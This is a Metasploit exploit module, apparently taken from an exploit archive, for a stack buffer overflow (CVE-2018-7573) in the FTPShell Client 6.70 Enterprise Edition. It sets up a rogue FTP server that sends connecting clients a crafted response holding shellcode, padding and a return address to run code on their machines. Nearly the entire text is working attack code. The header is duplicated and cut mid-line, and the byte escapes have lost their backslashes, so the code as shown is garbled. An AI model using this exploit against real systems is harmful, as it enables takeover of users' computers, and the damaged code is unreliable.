FTPShell Client 6.70 Enterprise Edition Stack Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::TcpServer

def initialize(info = {})
super(update_info(info,
'Name' => 'FTPShell client 6.70 (Enterprise edition) Stack Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the FTPShell client 6.70 (Enterprise
edition) allowing remote code execution.
},
'Author' =>
[
'r4wd3r', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2018-7573'],
[ 'EDB', '44596' ]
],
'Payload' =>
{
'Space' => 400,
'BadChars' => "x00x22x0dx0ax0b"
},
'Platform' => 'win',
'Targets' =>
[
# CALL ESI in FTPShell.exe : 0x00452eed
[ 'Windows Universal', {'Ret' => "xedx2ex45" } ]
],
'Privileged' => false,
'DefaultOptions' =>
{
'SRVHOST' => '0.0.0.0',
'EXITFUNC' => 'thread'
},
'DisclosureDate' => 'Mar 4 2017',
'DefaultTarget' => 0))

register_options [ OptPort.new('SRVPORT', [ true, 'The FTP port to listen on', 21 ]) ]
end

def exploit
srv_ip_for_client = datastore['SRVHOST']
if srv_ip_for_client == '0.0.0.0'
if datastore['LHOST']
srv_ip_for_client = datastore['LHOST']
else
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
end
end

srv_port = datastore['SRVPORT']

print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
super
end

def on_client_connect(client)
p = regenerate_payload(client)
return if p.nil?
print_status("#{client.peerhost} - connected.")

res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}") unless res.empty?
print_status("#{client.peerhost} - Response: Sending 220 Welcome")
welcome = "220 Welcome. "
client.put(welcome)

res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: sending 331 OK")
user = "331 OK. "
client.put(user)

res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")
print_status("#{client.peerhost} - Response: Sending 230 OK")
pass = "230 OK. "
client.put(pass)
res = client.get_once.to_s.strip
print_status("#{client.peerhost} - Request: #{res}")

sploit = '220 "'
sploit << payload.encoded
sploit << "x20" * (payload_space - payload.encoded.length)
sploit << target.ret
sploit << "" is current directory "

print_status("#{client.peerhost} - Request: Sending the malicious response")
client.put(sploit)

end
end